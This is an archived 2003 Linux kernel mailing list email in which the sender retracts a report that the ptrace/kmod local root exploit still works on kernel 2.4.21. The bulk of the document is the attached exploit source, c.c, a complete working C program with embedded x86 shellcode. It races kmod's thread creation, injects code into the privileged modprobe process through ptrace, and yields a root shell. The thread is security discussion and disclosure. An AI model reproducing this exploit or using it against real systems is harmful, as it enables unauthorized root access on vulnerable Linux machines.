From mboxrd@z Thu Jan 1 00:00:00 1970 Return-Path: Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S265554AbTFMWFt (ORCPT ); Fri, 13 Jun 2003 18:05:49 -0400 Received: (majordomo@vger.kernel.org) by vger.kernel.org id S265563AbTFMWFt (ORCPT ); Fri, 13 Jun 2003 18:05:49 -0400 Received: from gajba.net ([212.30.75.50]:29574 "EHLO gajba.net") by vger.kernel.org with ESMTP id S265554AbTFMWFb (ORCPT ); Fri, 13 Jun 2003 18:05:31 -0400 Message-ID: <001701c331f9$d5f92ac0$024ba8c0@athlon> From: =?iso-8859-2?Q?Bojan_Poga=E8ar?= To: Subject: ptrace/kmod local root exploit STILL unresolved in 2.4.21! - MY MISTAKE Date: Sat, 14 Jun 2003 00:19:19 +0200 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0014_01C3320A.994FA020" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 Sender: linux-kernel-owner@vger.kernel.org X-Mailing-List: linux-kernel@vger.kernel.org This is a multi-part message in MIME format. ------=_NextPart_000_0014_01C3320A.994FA020 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: 7bit I've tested this exploit in wrong way. I've first logged in as root, then I made "su nobody" and then exploit worked. If I don't login as root at the beginning, I get operation not permited.. so kernel is safe after all :) Thanks 4 your time Best regards, Bojan Pogacar > Hello, > > I've upgraded my linux box to 2.4.21 because of the securety reasons. Now I > found out that old local expoloit for ptrace is stil working under 2.4.21. > Wasn't it fixed in RC1? > > In attachment I send you exploit, which is still working! > > > Best regards, > > Bojan Pogacar > ------=_NextPart_000_0014_01C3320A.994FA020 Content-Type: application/octet-stream; name="c.c" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="c.c" /* * Linux kernel ptrace/kmod local root exploit * * This code exploits a race condition in kernel/kmod.c, which creates * kernel thread in insecure manner. This bug allows to ptrace cloned * process, allowing to take control over privileged modprobe binary. * * Should work under all current 2.2.x and 2.4.x kernels. * * I discovered this stupid bug independently on January 25, 2003, that * is (almost) two month before it was fixed and published by Red Hat * and others. * * Wojciech Purczynski * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY * * (c) 2003 Copyright by iSEC Security Research */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include char cliphcode[] = "\x90\x90\xeb\x1f\xb8\xb6\x00\x00" "\x00\x5b\x31\xc9\x89\xca\xcd\x80" "\xb8\x0f\x00\x00\x00\xb9\xed\x0d" "\x00\x00\xcd\x80\x89\xd0\x89\xd3" "\x40\xcd\x80\xe8\xdc\xff\xff\xff"; #define CODE_SIZE (sizeof(cliphcode) - 1) pid_t parent = 1; pid_t child = 1; pid_t victim = 1; volatile int gotchild = 0; void fatal(char * msg) { perror(msg); kill(parent, SIGKILL); kill(child, SIGKILL); kill(victim, SIGKILL); } void putcode(unsigned long * dst) { char buf[MAXPATHLEN + CODE_SIZE]; unsigned long * src; int i, len; memcpy(buf, cliphcode, CODE_SIZE); len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1); if (len == -1) fatal("[-] Unable to read /proc/self/exe"); len += CODE_SIZE + 1; buf[len] = '\0'; src = (unsigned long*) buf; for (i = 0; i < len; i += 4) if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1) fatal("[-] Unable to write shellcode"); } void sigchld(int signo) { struct user_regs_struct regs; if (gotchild++ == 0) return; fprintf(stderr, "[+] Signal caught\n"); if (ptrace(PTRACE_GETREGS, victim, NULL, ®s) == -1) fatal("[-] Unable to read registers"); fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip); putcode((unsigned long *)regs.eip); fprintf(stderr, "[+] Now wait for suid shell...\n"); if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1) fatal("[-] Unable to detach from victim"); exit(0); } void sigalrm(int signo) { errno = ECANCELED; fatal("[-] Fatal error"); } void do_child(void) { int err; child = getpid(); victim = child + 1; signal(SIGCHLD, sigchld); do err = ptrace(PTRACE_ATTACH, victim, 0, 0); while (err == -1 && errno == ESRCH); if (err == -1) fatal("[-] Unable to attach"); fprintf(stderr, "[+] Attached to %d\n", victim); while (!gotchild) ; if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1) fatal("[-] Unable to setup syscall trace"); fprintf(stderr, "[+] Waiting for signal\n"); for(;;); } void do_parent(char * progname) { struct stat st; int err; errno = 0; socket(AF_SECURITY, SOCK_STREAM, 1); do { err = stat(progname, &st); } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID); if (err == -1) fatal("[-] Unable to stat myself"); alarm(0); system(progname); } void prepare(void) { if (geteuid() == 0) { initgroups("root", 0); setgid(0); setuid(0); execl(_PATH_BSHELL, _PATH_BSHELL, NULL); fatal("[-] Unable to spawn shell"); } } int main(int argc, char ** argv) { prepare(); signal(SIGALRM, sigalrm); alarm(10); parent = getpid(); child = fork(); victim = child + 1; if (child == -1) fatal("[-] Unable to fork"); if (child == 0) do_child(); else do_parent(argv[0]); return 0; } ------=_NextPart_000_0014_01C3320A.994FA020--